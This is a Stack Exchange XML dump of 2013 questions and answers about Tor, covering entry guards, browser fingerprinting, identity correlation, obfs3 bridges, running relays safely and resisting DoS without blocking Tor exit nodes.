  <row Id="532" PostTypeId="1" AcceptedAnswerId="535" CreationDate="2013-10-14T18:38:23.220" Score="4" ViewCount="378" Body="&lt;p&gt;After launching Tor I can see in my firewall logs there are always few IPs that i'm connecting to. Is this something normal? These are entry nodes right? But why always the same? Does Tor cache something? I think on windows this problem doesn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Ubuntu 12.xx and  Tor 2.4&lt;/p&gt;&#xA;" OwnerUserId="379" LastEditorUserId="15" LastEditDate="2013-10-14T18:48:32.313" LastActivityDate="2016-03-09T01:07:34.667" Title="Tor use frequent entry nodes after each launch" Tags="|guard-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="533" PostTypeId="2" ParentId="532" CreationDate="2013-10-14T18:53:58.163" Score="1" Body="&lt;p&gt;It is not choosing the same Entry Node each time. Instead it is getting information about the state of the Tor Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before Tor can connect to Entry nodes, it has to find out about what nodes are on the network. It does this by downloading the consensus from a few fixed computers. Because this step has to happen without any other Tor information being available the IP addresses of these select computers are hard-coded into Tor. After it has downloaded the consensus over the regular internet, it will then select an Entry Node at random to begin forming secure Tor connections.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-14T18:53:58.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="534" PostTypeId="2" ParentId="476" CreationDate="2013-10-14T18:58:18.173" Score="5" Body="&lt;p&gt;The first option to explore should be to make the service less vulnerable to DoS attacks. The Tor network is small compared to an average botnet and is overloaded. If you design a service to resist attack by a botnet then it already should resist attack by someone using Tor. If your service can't resist attack from a Tor user without blocking Tor nodes then you should be worried about slightly more resourceful attackers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to give a suggestion of how to harden a site without knowing what resource of the site is the limiting factor. Because Tor is overloaded, I doubt it will be possible to mount a bandwidth DoS of anything except the smallest services. On the other hand, if there is some way to cause the site to do a lot of work by sending a small amount of traffic, then it might be possible to mount a CPU DoS. Cryptographic protocols are frequently a problem in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it isn't possible to resist a DoS by being more efficient or by avoiding the more resource hungry cryptographic algorithm options, then it still should be possible to resist a DoS without blocking shared IP addresses like those of Tor exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the site could require (pseudonymous) authentication before allowing a user to cause the site to perform an expensive operation. If a DoS is detected then throttling could be done on a per-user basis rather than per IP address. Of course there would need to be some way of preventing the attacker generating lots of accounts, e.g. CAPTCHAs. A downside of this option is that now actions performed under the same user account are linkable, which is harmful for anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to have a measure that can be applied to a problematic IP address short of blocking it. If Google detect suspicious behaviour coming from an IP address then future users of the same IP address must answer a CAPTCHA before a request will be processed. If the user answers the CAPTCHA correctly Google will set a cookie which will bypass the CAPTCHA test, at least for a while (so in a way this is like implicitly setting up a temporary account for the user).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both CAPTCHA tests and requiring authentication are annoying for the user, but at least it is better than blocking IP addresses totally. A longer term solution might be possible based around &lt;a href=&quot;http://cgi.soic.indiana.edu/~kapadia/nymble/&quot;&gt;Nymble&lt;/a&gt; or one of its successors where blacklisting of accounts is possible while maintaining the unlinkability of user actions. So far I'm not aware of any deployments of systems like these&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-10-14T18:58:18.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="535" PostTypeId="2" ParentId="532" CreationDate="2013-10-14T19:05:09.090" Score="4" Body="&lt;p&gt;Tor will only use a few entry relays to minimize the risk that you use a hostile entry relay: &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq#EntryGuards&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="348" LastEditorUserId="55" LastEditDate="2016-03-09T01:07:34.667" LastActivityDate="2016-03-09T01:07:34.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="536" PostTypeId="1" AcceptedAnswerId="555" CreationDate="2013-10-14T23:21:32.753" Score="11" ViewCount="1070" Body="&lt;p&gt;What do people refer to when they talk about browser fingerprinting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between browser fingerprinting and linkability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it important?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what is it used?&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-15T10:56:09.670" Title="What is browser fingerprinting? What is linkability?" Tags="|fingerprinting|unlinkability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="537" PostTypeId="1" CreationDate="2013-10-14T23:27:23.520" Score="3" ViewCount="609" Body="&lt;p&gt;Can you describe please, what identity correlation is referring to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why should I care?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be prevented?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="100" LastEditDate="2014-05-11T00:23:32.733" LastActivityDate="2014-05-11T00:23:32.733" Title="What is identity correlation?" Tags="|anonymity|attacks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="538" PostTypeId="1" CreationDate="2013-10-14T23:31:58.383" Score="11" ViewCount="3195" Body="&lt;p&gt;One can fully torify a system using Qubes OS TorVM, Whonix or a custom transparent proxy. Everything gets torified, even Adobe Flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why should one use Tor Browser even though everything is already torified and can't just use Firefox or Chrome?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="71" LastEditDate="2013-11-11T18:20:28.057" LastActivityDate="2013-11-11T18:20:28.057" Title="Why shouldn't one run Firefox/Chrome/any browser behind a fully torified system?" Tags="|tor-browser-bundle|whonix|fingerprinting|torvm|transparent-proxy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="539" PostTypeId="2" ParentId="526" CreationDate="2013-10-14T23:42:44.943" Score="3" Body="&lt;p&gt;If you're looking for extreme security, I would suggest using Tails, or running Tor inside a virtual machine.  A popular, pre-configured virtual machine/Tor setup is Whonix, which claims to prevent IP address leaks.  Other than that, these are some ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting a dedicated computer is a little extreme, and probably unnecessary if using a virtual machine.  Learn how to configure your firewall, keep your software up-to-date, use anti-virus software when applicable, and find a good secure-erase tool.  Tails comes with encryption software; learn to use that as well.  Using public WiFi is a great way to keep attention away from your home IP, although as long as your aren't worried about a breakout Whonix should be sufficient for this.  To answer your second and third questions: &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en#warning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you read the Tor Project &lt;a href=&quot;https://www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;, and remember:  there is no perfect security, and there are attacks that even Tor does not defend against, if the adversary is powerful enough.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T08:22:40.873" LastActivityDate="2013-10-15T08:22:40.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="540" PostTypeId="2" ParentId="538" CreationDate="2013-10-14T23:51:58.030" Score="8" Body="&lt;p&gt;Using such a system only prevents IP address leaks.  The Tor Browser has many, many patches to reduce fingerprintability and fix privacy-breaking bugs.  Think of it like this:  Does it really help that no one can get your IP, if they can potentially link up all of your online identities?  There are various and subtle ways of tracking a browser across the web that popular anti-tracking addons do not defend against; without the advanced work of the TBB there is a chance you'll end up in tracking databases anyway.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-16T16:30:46.143" LastActivityDate="2013-10-16T16:30:46.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="541" PostTypeId="2" ParentId="536" CreationDate="2013-10-15T00:10:50.323" Score="8" Body="&lt;p&gt;A &lt;strong&gt;browser fingerprint&lt;/strong&gt; is a collection of info about a browser.  When you visit a website, you send a variety of information, like screen size, installed fonts, and software versions; the site can also ask you for much more, as demonstrated by &lt;a href=&quot;http://www.browserspy.dk&quot;&gt;BrowserSpy&lt;/a&gt;.  Like human fingerprints, browser fingerprints are usually unique.  With your browser fingerprint governments and advertising companies can track you across the web, making a list of the things you've looked at, the places you've been, and what you've said and done.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linkability&lt;/strong&gt; is the ability to link two or more profiles, identities, or pieces of data. For example, imagine you have a Gmail account and a Facebook account; you have them registered under different names, and believe nobody can trace them back to you, or to each other.  In reality, the advertisers and government agencies have linked you to both of them by using your browser fingerprint to follow you across the web.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser Bundle helps to prevent this kind of attack by making its fingerprint the same as everyone else's -- among other things -- thus making it more difficult to track you, identify you, and link your various identities to one person.  This is, like most things, imperfect.  Most websites use other companies to host their data and offer services and ads.  Every time you visit one of these sites, you are by extension visiting all the others.  This leaves a very messy footprint; after visiting just two sites, you may actually have notified dozens.  There is a &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/collusion/&quot;&gt;browser extension&lt;/a&gt; that makes a very neat visualization of this.  A good way to avoid this is to block content: installing AdBlock would prevent ads from being downloaded, and thus those companies/sites would not be aware of you.  The same goes for Flash, JavaScript, and even images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://panopticlick.eff.org&quot;&gt;Panopticlick&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.browserspy.dk&quot;&gt;BrowserSpy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Device_fingerprint&quot;&gt;Wikipedia Article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://noc.to/&quot;&gt;Device Fingerprinting&lt;/a&gt; (Under the JS Display menu, cursor position is among the reported data.)&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T10:56:09.670" LastActivityDate="2013-10-15T10:56:09.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="542" PostTypeId="2" ParentId="537" CreationDate="2013-10-15T00:34:06.677" Score="3" Body="&lt;p&gt;Identity correlation is learning that two or more identities -- Like Joe on Facebook and Aron on StackExchange -- are actually the same person.  This can be a problem if you don't want others knowing this; for example, Aron is an anonymous gay rights activist, and he made a Facebook profile under a different name to avoid getting persecuted/trolled/flamed.  However, someone who doesn't like Aron and wants to bring him down is tracking him across the web, linking his identities, and revealing them to the world.  Now his Facebook account is hacked and vandalized, his Gmail is full of spam, and people are stealing his chickens.  This is why Tor and the Tor Browser were invented.  Using them properly and following the &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;warnings&lt;/a&gt; on the download page should be sufficient against most adversaries.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T04:18:28.003" LastActivityDate="2013-10-15T04:18:28.003" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="543" PostTypeId="1" AcceptedAnswerId="560" CreationDate="2013-10-15T00:49:56.113" Score="3" ViewCount="2298" Body="&lt;p&gt;While setting up obfs3 bridges on ports lower than 1024 seem to be tricky, some firewalls only allow connections on these certain ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An in detail, step by step guide could help us here.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-10-15T01:16:13.907" LastActivityDate="2014-07-02T19:40:19.410" Title="How to set up an obfs3 bridge on port 80 and/or 443?" Tags="|pluggable-transports|obfsproxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="544" PostTypeId="2" ParentId="487" CreationDate="2013-10-15T01:12:09.140" Score="2" Body="&lt;p&gt;There are several mundane methods of encryption that are resistant to both quantum and classical systems; for example, the &lt;a href=&quot;https://en.wikipedia.org/wiki/McEliece_cryptosystem&quot; rel=&quot;nofollow&quot;&gt;McEliece&lt;/a&gt; cryptosystem and &lt;a href=&quot;https://en.wikipedia.org/wiki/Unbalanced_Oil_and_Vinegar&quot; rel=&quot;nofollow&quot;&gt;Unbalanced Oil and Vinegar&lt;/a&gt;.  I've heard of some groups who are already experimenting with similar implementations.  As to speed of analysis, it would seem that at some point quantum computing and communications would cheapen to the point of public use, leveling the playing field.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T08:49:34.240" LastActivityDate="2013-10-15T08:49:34.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="546" PostTypeId="2" ParentId="527" CreationDate="2013-10-15T05:46:41.920" Score="3" Body="&lt;p&gt;To answer your questions in order:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Are there steps that I should take to make its network contribution more useful?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes: making sure you have adequate bandwidth is one, as well as keeping it up 24/7 and keeping it up-to-date.  You may also want to set up a &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;bridge&lt;/a&gt; of some kind, to help those in censored countries reach an uncensored internet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Are there things that I can do to make my node more secure?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, keep it up-to-date.  Make sure you have good antivirus software and a properly configured firewall.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Are there things I can do to make it less likely that someone will try (or succeed) at taking down my Tor node?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should read your ISP's Terms of Service to make sure they allow Tor relays/exits; some do not, and will take action against you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Are there things that I should definitely make sure not to do when running my node?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some things you &lt;em&gt;should&lt;/em&gt; do: If you're running an exit relay you may want to set up exit policies, as well as have a plan of action in case the authorities come knocking due to suspicious activity originating from your relay. These resources can help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Legal FAQ&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/eff/tor-dmca-response.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor DMCA Response&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T06:00:34.867" LastActivityDate="2013-10-15T06:00:34.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="547" PostTypeId="2" ParentId="537" CreationDate="2013-10-15T05:48:12.000" Score="5" Body="&lt;p&gt;It's arguable that few technologies, and none that are commonly available, provide stronger anonymity than Tor does. The NSA has called it &lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/tor-high-secure-internet-anonymity&quot; rel=&quot;nofollow&quot;&gt;&quot;[t]he king of high-secure, low-latency anonymity&quot;&lt;/a&gt;. However, as user-friendly and secure as the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Bundle (TBB)&lt;/a&gt; has become, it cannot reliably prevent tracking and identity correlation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Online vulnerabilities fall in three general categories: fingerprinting, tagging and exploiting. All TBB users, unless they tweak browser settings, look alike to websites. That certainly mitigates against fingerprinting. However, there are trade-offs. For example, one of the instrumental design choices, having NoScript configured to allow scripts by default, facilitates tagging and exploiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two implementations build on the TBB to provide more-secure anonymity, and better prevent identity correlation: &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;The Amnesic Incognito Live System (Tails)&lt;/a&gt; and &lt;a href=&quot;https://www.whonix.org/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Whonix&lt;/a&gt;. Tails uses TBB to protect against fingerprinting, and it further mitigates against tagging and exploiting by forgetting online activity after shutdown. Using Ducks' example, rebooting Tails would separate Joe and Aron more effectively than TBB alone could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whonix also uses TBB to protect against fingerprinting, but its design is heavier on defense than amnesia. The Tor software and userland applications are isolated in separate virtual machines (VMs). Although Whonix arguably doesn't protect against persistent tagging as well as Tails does, it protects far better against application exploits that compromise Tor connectivity, and could reveal ISP-assigned IP address to adversaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, given that modern computers can run several VMs, it's easy to simultaneously use multiple Whonix instances. Whonix workstation VMs have independent Tor connectivity, each through its own Tor gateway VM. Exploits in one workstation VM can't compromise its gateway VM, or other Whonix instance VMs, unless they break the VM-host barrier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://qubes-os.org/trac&quot; rel=&quot;nofollow&quot;&gt;Qubes&lt;/a&gt; to run multiple Tor gateway and TBB workstation VMs would provide even stronger security. Qubes is a hypervisor OS, based on Xen and Linux, that runs directly on hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With such strong technology, deanonymization and identity correlation are most vulnerable to human error. By failing to upgrade TBB, many Freedom Hosting users were vulnerable to deanonymization exploits by the FBI, after it compromised the site's servers. Both Silk Road founder Ross Ulbricht and Lulzsec member Anarchaos mindlessly revealed incriminating information on websites and/or chats.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-10-15T16:04:25.693" LastActivityDate="2013-10-15T16:04:25.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="552" PostTypeId="2" ParentId="527" CreationDate="2013-10-15T08:36:18.407" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I make sure that my node is as useful to the Tor network as possible? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To me useful means that many users can profit from your node. So a high-bandwith 24/7 running node would be best. However sometimes there are limitations. Maybe you have to pay for extra bandwidth or you can spend only a fixed amount of traffic. In general it is better for the network to have high-bandwidth nodes running even if they don't run on every day. So instead of reducing your bandwidth it might be better to set &lt;code&gt;AccountingMax&lt;/code&gt; and leave the other options as they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes also CPU is the limiting factor. So if you have lots of bandwidth available and many CPUs inside your node, it might be a good idea to set up different Tor processes. They utilize the CPUs than a single process.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there things that I can do to make my node more secure?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general you should follow general advice to secure your computer. I see no Tor-specific advice here.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there things I can do to make it less likely that someone will try (or succeed) at taking down my Tor node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You find an entry called &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot; rel=&quot;nofollow&quot;&gt;Tips for Running an Exit Node with Minimal Harassment&lt;/a&gt; in the &lt;a href=&quot;https://blog.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor blog&lt;/a&gt;. It contains a good descriptions of all the things you should be aware of.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-15T08:36:18.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="554" PostTypeId="2" ParentId="499" CreationDate="2013-10-15T09:08:16.200" Score="2" Body="&lt;p&gt;To answer you questions in order:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Are there a secret or governments or a half-secret projects with similar technology?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, if they're cloaked in secrecy it's unlikely anyone on StackExchange could tell you much about them. :)  Moreover, law enforcement and the military &lt;a href=&quot;https://www.torproject.org/about/torusers.html.en#military&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;do&lt;/em&gt; in fact use Tor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Is it [DARPA-BAA-10-69] a fork of earlier(Navy's) version of Tor?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hard to say, but there have been other programs that used onion routing.  &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitblinder&quot; rel=&quot;nofollow&quot;&gt;BitBlinder&lt;/a&gt; was an example, and perhaps the only example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may enjoy researching &lt;a href=&quot;https://en.wikipedia.org/wiki/Garlic_routing&quot; rel=&quot;nofollow&quot;&gt;garlic routing&lt;/a&gt;, on which &lt;a href=&quot;https://en.wikipedia.org/wiki/I2P&quot; rel=&quot;nofollow&quot;&gt;I2P&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Perfect_Dark_(P2P)&quot; rel=&quot;nofollow&quot;&gt;Perfect Dark&lt;/a&gt; are based.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T13:28:37.517" LastActivityDate="2013-10-15T13:28:37.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="555" PostTypeId="2" ParentId="536" CreationDate="2013-10-15T09:09:08.767" Score="8" Body="&lt;p&gt;Browser fingerprinting is the idea to have a unique set of property which can identify a browser. When you are visiting a website your browser identifies to the webserver. The site &lt;a href=&quot;http://whatsmyuseragent.com/&quot;&gt;Whats my user agent&lt;/a&gt; shows you this information. Usually you'll find the operating system (Windows, Linux, Mac, Android etc.), the name of your browser plus the version and maybe installed plugins. This gives a first good idea about the used browser. However with techniques like JavaScript etc. it is possible to read a list of installed plugins, the fonts, the screen size and other things. All this information gives a more or less unique view of the browser. EFF'S &lt;a href=&quot;http://panopticlick.eff.org&quot;&gt;Panopticlick&lt;/a&gt; site does extensive fingerprinting. When you use a fresh installed browser it can identify the browser from one in three million.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linkability tries to chain different information with the goal to deanonymize you or to find more information about you. Assume you use a browser where you sometimes use Tor and visit this site (Tor.SE).   The site also loads contents from Google Analytics and Quantcast. If you're visiting any other site which also loads those components, regardless if you use Tor or not, Google Analytics as well as Quantcast might be able to link this information. This means they can say user X first visited Tor.SE and later went to site XYZ. In between those sessions he toggled Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-15T09:09:08.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="557" PostTypeId="2" ParentId="527" CreationDate="2013-10-15T12:02:20.910" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;... most useful Tor node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It mostly depends on you, assuming you can keep the machine up 24/7, all types of Tor relays are useful for the network.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have a good bandwidth, a good ISP and you can keep your box fairly secure, you should consider running an exit node. You may find &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorExitGuidelines&quot; rel=&quot;nofollow&quot;&gt;Tor Exit Guidelines&lt;/a&gt; wiki page useful.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have a good bandwidth you may want to run a &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow&quot;&gt;non-exit relay&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't have a lot of bandwidth, you may run a bridge. Preferably an &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy-debian-instructions.html.en&quot; rel=&quot;nofollow&quot;&gt;obfs3 one&lt;/a&gt;, as we don't have much of them currently. These bridges are very useful to censored users, while they don't eat a lot of bandwidth. &lt;br&gt;&#xA;You may find &lt;a href=&quot;https://cloud.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor cloud project&lt;/a&gt; interesting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;make my node more secure?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At very least you should be able to keep your machine secure in general. Having a simple/basic firewall can be very useful. It's better to have a more secure machine if you're running an exit node.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there things I can do to make it less likely that someone will try (or succeed) at taking down my Tor node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If running a non-exit relay, you don't have to be worry about this. If running an exit node, you may find &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki//doc/TorExitGuidelines&quot; rel=&quot;nofollow&quot;&gt;Tor Exit Guideline&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq&quot; rel=&quot;nofollow&quot;&gt;Legal FAQ for Tor Relay Operators&lt;/a&gt; useful.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there things that I should definitely make sure not to do when running my node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, do not try to manipulate or censor the traffic you get. Specially if you're running an exit relay. This can get you a bad exit flag.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-10-15T12:08:27.107" LastActivityDate="2013-10-15T12:08:27.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="558" PostTypeId="2" ParentId="526" CreationDate="2013-10-15T12:28:06.710" Score="0" Body="&lt;p&gt;The easiest way is using the latest version of &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Bundle&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you think your computer might have been compromised, the next easy step is to burn a Live Linux, like Ubuntu on a CD. Boot your computer with that live CD, and use Tor Browser Bundle to surf the internet. You may also use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;, which has been configure to use Tor by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you read these two warnings before using Tor or Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;Want Tor to really work?&lt;/a&gt;&quot; and &quot;&lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Tails Warning Page&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-10-15T12:28:06.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="559" PostTypeId="1" AcceptedAnswerId="582" CreationDate="2013-10-15T14:04:31.507" Score="2" ViewCount="8338" Body="&lt;p&gt;What are the advantages of running Tor after a VPN as compared to using an Obfsproxy bridge?  For example, assuming the goal is to prevent an eavesdropper on the local end from noticing Tor usage, it would stand to reason that VPN addresses would be more readily recognized than those of Tor bridges; it would also stand that Tor bridges typically exist over a broader number of countries and are harder to monitor, particularly Obfsproxy, due to camouflage.  In addition, VPNs can almost always be forced into revealing user information on government request.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any real benefits to using a VPN before Tor that cannot be achieved by bridges?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a benefit to stringing together multiple VPNs that cannot be achieved by increasing the number of relays per circuit?  Does it suffer the same drawbacks?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="274" LastActivityDate="2019-08-14T00:52:08.097" Title="VPN versus Bridges" Tags="|anonymity|onion-routing|bridge|vpn|obfsproxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
